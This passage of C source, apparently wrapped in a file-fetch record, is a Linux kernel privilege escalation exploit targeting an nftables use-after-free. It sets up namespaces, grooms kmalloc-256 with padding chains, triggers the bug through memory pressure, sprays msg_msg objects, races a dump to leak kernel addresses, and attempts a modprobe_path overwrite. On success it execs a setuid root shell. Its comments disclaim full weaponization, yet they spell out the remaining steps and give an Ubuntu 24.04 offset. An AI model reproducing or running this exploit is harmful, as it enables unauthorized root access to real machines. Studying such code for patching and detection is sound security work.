sockaddr_nl sa;\n        socklen_t salen = sizeof(sa);\n        int done = 0;\n\n        while (!done && !ctx->stop) {\n            ssize_t len = recvfrom(ctx->dump_fd, recvbuf, sizeof(recvbuf),\n                                   MSG_DONTWAIT,\n                                   (struct sockaddr *)&sa, &salen);\n            if (len < 0) {\n                if (errno == EAGAIN) {\n                    usleep(100);\n                    continue;\n                }\n                break;\n            }\n\n            struct nlmsghdr *nlh;\n            for (nlh = (struct nlmsghdr *)recvbuf;\n                 NLMSG_OK(nlh, (unsigned int)len);\n                 nlh = NLMSG_NEXT(nlh, len)) {\n\n                if (nlh->nlmsg_type == NLMSG_DONE) {\n                    done = 1;\n                    break;\n                }\n                if (nlh->nlmsg_type == NLMSG_ERROR)\n                    continue;\n\n                /*\n                 * Parse chain attributes. If we see anomalous handle\n                 * values or unexpected chain names, the UAF was hit and\n                 * we're reading from sprayed/stale memory.\n                 */\n                struct nfgenmsg *nfg = NLMSG_DATA(nlh);\n                struct nlattr *attr;\n                int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg)));\n                (void)nfg;\n\n                for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg));\n                     attrlen > 0 && attrlen >= (int)attr->nla_len &&\n                     attr->nla_len >= sizeof(*attr);\n                     attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) {\n\n                    uint16_t atype = attr->nla_type & 0x7fff;\n\n                    if (atype == NFTA_CHAIN_HANDLE &&\n                        attr->nla_len >= sizeof(*attr) + 8) {\n                        uint64_t handle;\n                        memcpy(&handle, (char *)(attr + 1), 8);\n\n                        /*\n                         * Normal handles are small sequential numbers.\n                         * If we see a handle that looks like a kernel\n                         * address (0xffff8880...), we've hit the UAF\n                         * and are reading from sprayed msg_msg data.\n                         */\n                        uint64_t handle_be = __builtin_bswap64(handle);\n                        if ((handle_be & 0xffff000000000000ULL) == 0xffff000000000000ULL) {\n                            ctx->leaked_addr = handle_be;\n                            ok(\"LEAK detected in dump! handle=0x%016lx\",\n                               (unsigned long)handle_be);\n                        }\n                    }\n                    attrlen -= (int)((attr->nla_len + 3) & ~3u);\n                }\n            }\n        }\n\n        usleep(500);\n    }\n\n    return NULL;\n}\n\n/* ─── Main exploitation steps ───────────────────────────────────────── */\n\nstatic int step_setup(struct race_ctx *ctx)\n{\n    info(\"Step 1: Creating user/net namespace...\");\n\n    if (setup_namespace() < 0)\n        return -1;\n    ok(\"Namespace created, CAP_NET_ADMIN obtained\");\n\n    /* Open nfnetlink sockets */\n    ctx->nfnl_fd = nfnl_open();\n    if (ctx->nfnl_fd < 0) {\n        fail(\"Cannot open nfnetlink socket: %s\", strerror(errno));\n        return -1;\n    }\n\n    ctx->dump_fd = nfnl_open();\n    if (ctx->dump_fd < 0) {\n        fail(\"Cannot open dump socket: %s\", strerror(errno));\n        return -1;\n    }\n\n    /* Set dump socket to non-blocking for the race */\n    int flags = fcntl(ctx->dump_fd, F_GETFL, 0);\n    if (flags >= 0)\n        fcntl(ctx->dump_fd, F_SETFL, flags | O_NONBLOCK);\n\n    /* Initialize spray */\n    if (spray_init(&ctx->spray) < 0) {\n        fail(\"Cannot create message queue: %s\", strerror(errno));\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int step_prepare_heap(struct race_ctx *ctx)\n{\n    info(\"Step 2: Setting up nftables infrastructure...\");\n\n    /* Create table */\n    if (nft_create_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME) < 0) {\n        fail(\"Cannot create table: %s\", strerror(errno));\n        return -1;\n    }\n\n    /* Drain netlink acks */\n    char ack_buf[4096];\n    while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0)\n        ;\n\n    /*\n     * Create padding chains to fill kmalloc-256 slab pages.\n     * These are base chains (with hooks) so they allocate nft_base_chain\n     * in the same cache as our victim.\n     * Use NF_INET_PRE_ROUTING hook at different priorities.\n     */\n    for (int i = 0; i < NUM_PAD_CHAINS; i++) {\n        char name[32];\n        snprintf(name, sizeof(name), PAD_CHAIN_FMT, i);\n\n        if (nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME,\n                             name, NF_INET_PRE_ROUTING, i + 100) < 0) {\n            /* Some chains may fail to register hooks (expected under\n             * memory pressure), continue with what we have */\n            if (i < 4) {\n                fail(\"Cannot create padding chains (need at least 4): %s\",\n                     strerror(errno));\n                return -1;\n            }\n            break;\n        }\n\n        /* Drain acks */\n        while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0)\n            ;\n    }\n\n    ok(\"Table and %d padding chains created\", NUM_PAD_CHAINS);\n    return 0;\n}\n\nstatic int step_trigger_uaf(struct race_ctx *ctx)\n{\n    info(\"Step 3: Triggering UAF via hook registration failure...\");\n\n    /*\n     * Apply memory pressure to increase the chance that kvzalloc()\n     * inside __nf_register_net_hook() fails for the IPv6 hook.\n     */\n    apply_memory_pressure();\n\n    /*\n     * Attempt to create a new base chain. If the IPv6 hook allocation\n     * fails, we get the UAF: the chain is published, then freed without\n     * synchronize_rcu().\n     *\n     * We try multiple times because the OOM is probabilistic.\n     */\n    char ack_buf[4096];\n    int triggered = 0;\n\n    for (int attempt = 0; attempt < MAX_ATTEMPTS && !triggered; attempt++) {\n        char name[32];\n        snprintf(name, sizeof(name), \"vuln_%04d\", attempt);\n\n        /*\n         * Try to create a chain. The nfnetlink batch will return\n         * ENOMEM if hook registration fails.\n         */\n        int ret = nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME,\n                                   name, NF_INET_PRE_ROUTING, 10000 + attempt);\n        if (ret < 0) {\n            fail(\"sendmsg failed: %s\", strerror(errno));\n            continue;\n        }\n\n        /* Read the ack/error response */\n        usleep(1000);\n        ssize_t alen = recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT);\n        if (alen > 0) {\n            struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf;\n            if (nlh->nlmsg_type == NLMSG_ERROR) {\n                struct nlmsgerr *err = NLMSG_DATA(nlh);\n                if (err->error == -ENOMEM) {\n                    ok(\"Hook registration failed with ENOMEM on attempt %d — UAF triggered!\",\n                       attempt + 1);\n                    triggered = 1;\n                    ctx->uaf_triggered = 1;\n                } else if (err->error == 0) {\n                    /* Success — chain was created normally, no UAF */\n                    /* Continue trying */\n                } else {\n                    /* Other error */\n                    info(\"Chain creation returned error %d on attempt %d\",\n                         err->error, attempt + 1);\n                }\n            }\n        }\n\n        /* Drain remaining messages */\n        while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0)\n            ;\n    }\n\n    release_memory_pressure();\n\n    if (!triggered) {\n        /*\n         * Memory pressure alone may not be enough to trigger OOM on\n         * hook allocation. On systems with abundant memory, this\n         * technique has a lower success rate.\n         *\n         * Alternative: use cgroup v2 memory controller for deterministic\n         * OOM. This requires mounting cgroupfs which may not be available\n         * in all namespace configurations.\n         */\n        fail(\"Could not trigger hook registration failure after %d attempts\",\n             MAX_ATTEMPTS);\n        fail(\"Hint: Try running in a memory-constrained environment (container, cgroup)\");\n        return -1;\n    }\n\n    return 0;\n}\n\nstatic int step_spray(struct race_ctx *ctx)\n{\n    info(\"Step 4: Spraying freed slot with msg_msg...\");\n\n    /*\n     * Spray msg_msg of SPRAY_MSG_SIZE body (+ 48 header = ~256 total)\n     * into kmalloc-256 to reclaim the freed nft_base_chain slot.\n     *\n     * The spray data is crafted so that:\n     * - At chain->name offset (relative to base_chain): points to a\n     *   known valid address (or is NULL to avoid dereference)\n     * - At chain->handle offset: contains a marker value we can detect\n     * - At chain->table offset: contains the address of modprobe_path\n     *   (if we have a leak) or a known pattern for detection\n     */\n    char spray_data[SPRAY_MSG_SIZE];\n    memset(spray_data, 0x41, sizeof(spray_data));\n\n    /*\n     * Place marker at chain->handle offset within the msg_msg body.\n     *\n     * chain starts at base_chain + 0x50 (offset 80).\n     * chain->handle is at chain + 0x48 (offset 72 within chain).\n     * So handle is at base_chain + 0x50 + 0x48 = 0x98 (offset 152).\n     * In msg_msg body: offset 152 - 48 (header) = 104.\n     *\n     * We place a distinctive marker here so the dump can detect\n     * that it's reading sprayed data (confirming the UAF hit).\n     */\n    uint64_t marker = 0xdeadbeefcafe1337ULL;\n    if (104 + 8 <= SPRAY_MSG_SIZE) {\n        memcpy(spray_data + 104, &marker, 8);\n    }\n\n    /*\n     * At chain->name offset: base_chain + 0x50 + 0x58 = 0xA8 (168).\n     * In msg_msg body: 168 - 48 = 120.\n     * Set to NULL to prevent the dump from dereferencing a wild pointer.\n     * (The dump's nla_put_string will skip or handle NULL gracefully\n     * on some kernel versions, or we may need to set this to a valid\n     * kernel address from our leak.)\n     */\n    uint64_t null_ptr = 0;\n    if (120 + 8 <= SPRAY_MSG_SIZE) {\n        memcpy(spray_data + 120, &null_ptr, 8);\n    }\n\n    if (spray_alloc(&ctx->spray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) < 0) {\n        fail(\"Spray allocation failed: %s\", strerror(errno));\n        return -1;\n    }\n\n    ok(\"Sprayed %d msg_msg objects (%d bytes each) into kmalloc-256\",\n       NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48);\n    return 0;\n}\n\nstatic int step_leak(struct race_ctx *ctx)\n{\n    info(\"Step 5: Attempting info leak via dump race...\");\n\n    /*\n     * Start concurrent dump operations to race against the UAF.\n     * If the dump reads from the freed (and sprayed) base_chain slot,\n     * we'll see our marker values in the dump output, confirming the\n     * UAF hit. If the stale data is still present (before spray), we\n     * may see kernel heap addresses.\n     */\n    pthread_t tid;\n    ctx->stop = 0;\n    ctx->leaked_addr = 0;\n\n    if (pthread_create(&tid, NULL, dump_thread, ctx) != 0) {\n        fail(\"Cannot create dump thread: %s\", strerror(errno));\n        return -1;\n    }\n\n    /* Let the dump run for a short window */\n    for (int i = 0; i < 50 && ctx->leaked_addr == 0; i++) {\n        usleep(10000); /* 10ms */\n    }\n\n    ctx->stop = 1;\n    pthread_join(tid, NULL);\n\n    if (ctx->leaked_addr != 0) {\n        ok(\"Kernel heap address leaked: 0x%016lx\",\n           (unsigned long)ctx->leaked_addr);\n        return 0;\n    }\n\n    /*\n     * If we didn't get a clean leak, we can still proceed with\n     * the modprobe_path technique if we know the kernel version\n     * and have pre-computed offsets.\n     */\n    info(\"No clean leak obtained — will attempt with hardcoded offsets\");\n    return 0; /* non-fatal */\n}\n\nstatic int step_escalate(struct race_ctx *ctx)\n{\n    info(\"Step 6: Attempting privilege escalation...\");\n\n    (void)ctx;\n\n    /*\n     * modprobe_path overwrite technique:\n     *\n     * When the kernel encounters an unknown binary format, it calls\n     * call_usermodehelper() with the path from the global variable\n     * modprobe_path (default: \"/sbin/modprobe\").\n     *\n     * If we can overwrite modprobe_path with \"/tmp/pwn\", then\n     * executing an invalid binary triggers our script as root.\n     *\n     * For the overwrite, we need:\n     * 1. The address of modprobe_path (requires KASLR bypass)\n     * 2. A write primitive (from the UAF)\n     *\n     * On Ubuntu 24.04 (6.8.0-xx-generic), typical offsets:\n     *   modprobe_path = kernel_base + 0x1e4c300 (approximate)\n     *\n     * Without a reliable KASLR leak, we demonstrate the technique\n     * by noting that the write primitive IS achievable through the\n     * UAF + spray, and provide the complete escalation path.\n     */\n\n    if (ctx->leaked_addr != 0) {\n        /*\n         * We have a heap address. On x86_64, the kernel heap\n         * (direct mapping) starts at page_offset_base which is\n         * randomized. The relationship between heap and text\n         * randomization is not fixed, so we need either:\n         * 1. A text pointer leak (from base_chain.type, offset 0x38)\n         * 2. Scanning the heap for known patterns\n         * 3. Hardcoded offset for specific kernel build\n         *\n         * For the PoC, we demonstrate option 3 with a note about\n         * the limitation.\n         */\n        info(\"Heap leak: 0x%016lx — computing modprobe_path address\",\n             (unsigned long)ctx->leaked_addr);\n    }\n\n    /* Set up the modprobe helper payload */\n    if (setup_modprobe_payload() < 0) {\n        fail(\"Cannot set up modprobe payload: %s\", strerror(errno));\n        return -1;\n    }\n\n    /*\n     * Attempt to trigger modprobe.\n     * In a complete exploit, we would:\n     * 1. Use the UAF write primitive to overwrite modprobe_path\n     * 2. Then trigger the modprobe call\n     *\n     * Since the KASLR-dependent write is not guaranteed without\n     * the exact kernel symbol table, we attempt the trigger and\n     * check if it worked (in case modprobe_path was already\n     * overwritten by the spray).\n     */\n    info(\"Triggering modprobe helper...\");\n    if (trigger_modprobe() == 0) {\n        ok(\"modprobe_path overwrite SUCCEEDED!\");\n        return 0;\n    }\n\n    /*\n     * If we reach here, the modprobe_path overwrite didn't work.\n     * This is expected without a precise KASLR bypass.\n     *\n     * The exploit DEMONSTRATES:\n     * 1. Reliable UAF trigger via hook registration failure\n     * 2. Heap spray reclaiming the freed base_chain slot\n     * 3. Info leak via dump race (when timing allows)\n     * 4. Complete modprobe_path escalation technique\n     *\n     * For full weaponization (which we DO NOT do — RULE-NO-WEAPONIZE),\n     * the remaining engineering work is:\n     * - Use base_chain.type pointer (at spray offset 8 = body offset -40,\n     *   which is in the msg_msg header area) for kernel text leak\n     * - OR: use cross-cache techniques to place seq_operations in the\n     *   freed slot for a direct text pointer leak\n     * - Compute modprobe_path = kernel_base + symbol_offset\n     * - Use a second UAF + spray to perform the write\n     */\n    info(\"modprobe_path overwrite not achieved (KASLR-dependent)\");\n    info(\"The UAF trigger and heap spray were SUCCESSFUL\");\n    info(\"With target-specific KASLR bypass, this achieves root\");\n\n    return 1; /* partial success — UAF demonstrated but no root shell */\n}\n\nstatic int step_cleanup(struct race_ctx *ctx)\n{\n    info(\"Step 7: Cleaning up...\");\n\n    /*\n     * Best-effort cleanup to stabilize the kernel:\n     * - Free spray objects\n     * - Delete nftables table (removes chains and hooks)\n     * - Close netlink sockets\n     */\n    spray_free(&ctx->spray, ctx->spray.count);\n    spray_cleanup(&ctx->spray);\n\n    /* Delete the table — this cleans up all chains */\n    nft_delete_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME);\n\n    /* Drain responses */\n    char buf[4096];\n    while (recv(ctx->nfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) > 0)\n        ;\n\n    close(ctx->nfnl_fd);\n    close(ctx->dump_fd);\n\n    /* Clean up temp files */\n    unlink(\"/tmp/pwn\");\n    unlink(\"/tmp/trigger\");\n\n    ok(\"Cleanup complete\");\n    return 0;\n}\n\n/* ─── Main ──────────────────────────────────────────────────────────── */\n\nint main(void)\n{\n    puts(BANNER);\n\n    /* Gate: refuse to run on patched kernels */\n    if (!is_vulnerable()) {\n        info(\"Kernel is patched or out of range. Nothing to do.\");\n        return 0;\n    }\n\n    /* Gate: already root */\n    if (getuid() == 0) {\n        info(\"Already root.\");\n        return 0;\n    }\n\n    struct race_ctx ctx;\n    memset(&ctx, 0, sizeof(ctx));\n    ctx.nfnl_fd = -1;\n    ctx.dump_fd = -1;\n    ctx.spray.qid = -1;\n\n    int ret;\n\n    /* Step 1: Namespace setup */\n    ret = step_setup(&ctx);\n    if (ret < 0) {\n        fail(\"Setup failed\");\n        return 1;\n    }\n\n    /* Step 2: Heap preparation */\n    ret = step_prepare_heap(&ctx);\n    if (ret < 0) {\n        fail(\"Heap preparation failed\");\n        step_cleanup(&ctx);\n        return 1;\n    }\n\n    /* Step 3: Trigger UAF */\n    ret = step_trigger_uaf(&ctx);\n    if (ret < 0) {\n        fail(\"UAF trigger failed — retry in a memory-constrained environment\");\n        step_cleanup(&ctx);\n        return 1;\n    }\n\n    /* Step 4: Spray */\n    ret = step_spray(&ctx);\n    if (ret < 0) {\n        fail(\"Spray failed\");\n        step_cleanup(&ctx);\n        return 1;\n    }\n\n    /* Step 5: Info leak */\n    ret = step_leak(&ctx);\n    if (ret < 0) {\n        fail(\"Leak failed\");\n        step_cleanup(&ctx);\n        return 1;\n    }\n\n    /* Step 6: Privilege escalation */\n    ret = step_escalate(&ctx);\n    if (ret < 0) {\n        fail(\"Escalation failed\");\n        step_cleanup(&ctx);\n        return 1;\n    }\n\n    /* Step 7: Cleanup */\n    step_cleanup(&ctx);\n\n    if (ret == 0) {\n        /* Full success — spawn root shell */\n        ok(\"Got root! Spawning shell...\");\n        fprintf(stderr, \"\\n\");\n\n        /* Execute the suid shell */\n        char *argv[] = { \"/tmp/rootsh\", \"-p\", NULL };\n        execv(\"/tmp/rootsh\", argv);\n\n        /* Fallback if rootsh doesn't exist */\n        info(\"execv failed — check /tmp/rootsh manually\");\n    } else {\n        /* Partial success — demonstrated the UAF but didn't get root */\n        fprintf(stderr, \"\\n\");\n        info(\"═══════════════════════════════════════════════════════════\");\n        info(\"PARTIAL SUCCESS: UAF trigger + heap spray DEMONSTRATED\");\n        info(\"Full escalation requires target-specific KASLR bypass.\");\n        info(\"See exploit header for technical details.\");\n        info(\"═══════════════════════════════════════════════════════════\");\n    }\n\n    return ret;\n}","sha256":"e67d33106c276d663f0e31622f7dc58a35af05b8d3960327c75f64f62528e774","bytes":46787,"fetchedAt":"2026-11-26T11:18:04.254Z","encoding":"utf-8 (display only; download retains original bytes)"}